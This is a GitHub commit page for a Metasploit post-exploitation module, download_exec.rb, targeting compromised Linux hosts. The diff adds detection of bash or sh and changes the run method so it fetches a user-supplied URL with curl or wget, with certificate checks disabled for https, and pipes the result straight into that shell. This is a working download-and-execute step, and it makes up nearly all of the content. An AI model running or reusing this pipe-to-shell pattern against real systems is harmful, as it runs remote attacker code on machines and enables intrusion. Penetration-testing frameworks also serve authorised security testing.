Skip to content

Commit dea48b4

Browse files
committed
Merge branch 'download_exec_shell' of github.com:jvazquez-r7/metasploit-framework into jvazquez-r7-download_exec_shell
2 parents d908050 + f273335 commit dea48b4

File tree

1 file changed

+24
-2
lines changed

1 file changed

+24
-2
lines changed

modules/post/linux/manage/download_exec.rb

Lines changed: 24 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -82,7 +82,22 @@ def search_http_client
8282
@ssl_option = "--no-check-certificate"
8383
return
8484
end
85+
end
8586

87+
def search_shell
88+
print_status("Checking if bash exists in the path...")
89+
if exists_exe?("bash")
90+
print_good("bash available, using it")
91+
@shell = "bash"
92+
return
93+
end
94+
95+
print_status("Checking if sh exists in the path...")
96+
if exists_exe?("sh")
97+
print_good("sh available, using it")
98+
@shell = "sh"
99+
return
100+
end
86101
end
87102

88103
def run
@@ -93,10 +108,17 @@ def run
93108
return
94109
end
95110

111+
search_shell
112+
113+
if not @shell
114+
print_warning("neither bash nor sh available in the $PATH, aborting...")
115+
return
116+
end
117+
96118
if datastore['URL'].match(/https/)
97-
cmd_exec_vprint("`which #{@http_client}` #{@stdout_option} #{@ssl_option} #{datastore['URL']} 2>/dev/null | `which bash` ")
119+
cmd_exec_vprint("`which #{@http_client}` #{@stdout_option} #{@ssl_option} #{datastore['URL']} 2>/dev/null | `which #{@shell}` ")
98120
else
99-
cmd_exec_vprint("`which #{@http_client}` #{@stdout_option} #{datastore['URL']} 2>/dev/null | `which bash` ")
121+
cmd_exec_vprint("`which #{@http_client}` #{@stdout_option} #{datastore['URL']} 2>/dev/null | `which #{@shell}` ")
100122
end
101123
end
102124

0 commit comments

Comments
 (0)